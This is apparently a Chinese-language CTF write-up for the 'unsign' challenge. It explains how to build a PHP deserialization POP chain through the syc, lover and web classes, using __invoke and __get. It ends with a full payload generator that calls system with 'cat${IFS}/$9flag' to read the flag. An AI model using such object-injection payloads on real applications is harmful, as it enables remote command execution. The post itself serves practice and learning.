极客大挑战-unsign-反序列化

23 年 11 月 19 日 星期日
457 字
3 分钟

极客大挑战-unsign-反序列化



拿到题目整体观察一下,可以发现这是pop链相关的反序列化



反推法:从终点类反推pop


可以很明显地看到web类就是我们的终点,终点是web类的魔术方法__get


贴一个魔术方法的笔记



想要触发get,就必须使得调用的成员方法不存在。观察整体,可以看到在lover类代码"return $this->yxx->QW“在调用成员



乍一看好像没有什么毛病,其实我们如果使得这里的yxx变成web,那么this>yxx>QW就会改写成this->yxx->QW就会改写成this->web->QW,而web类里并不存在QW这个成员,就可以触发魔术方法_get()


那么想要触发return $this->yxx->QW,就必须触发lover类的_invoke()这个魔术方法,而这个_invoke()魔术方法的触发方法是把对象当成函数调用。所以我们再次观察整体寻找突破口


可以发现在syc类中有一串function=function=this->cuit; return $function();这里是将cuit赋值给了function,然后调用函数function()。那么我们就让cuit赋值为web对象,这样就会将web当成函数调用从而触发魔术方法



我们先做出一个半成品playload



至此,所有pop链都已经解决,接下来看看终点是什么东西



在终点处,我们可以给eva1eva1和interesting传参。其中eva1为函数,eva1为函数,interesting为参数


经过学长的帮助和多次尝试,终于确定了这里最终的命令public eva1="system";publiceva1="system"; public interesting="cat${IFS}/$9flag";


全部playload如下


yaml
<?php
class syc
{
    public $cuit;
}
class lover
{
    public $yxx;
    public $QW;
}
class web
{
    public $eva1="system";
    public $interesting="cat\${IFS}/$9flag";
}
$a=new syc;
$b=new lover;
$c=new web;
$a->cuit=$b;
$b->yxx=$c;
echo urlencode(serialize($a));

?>

文章标题:极客大挑战-unsign-反序列化

文章作者:huarui

文章链接:https://54huarui.online/posts/unis[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。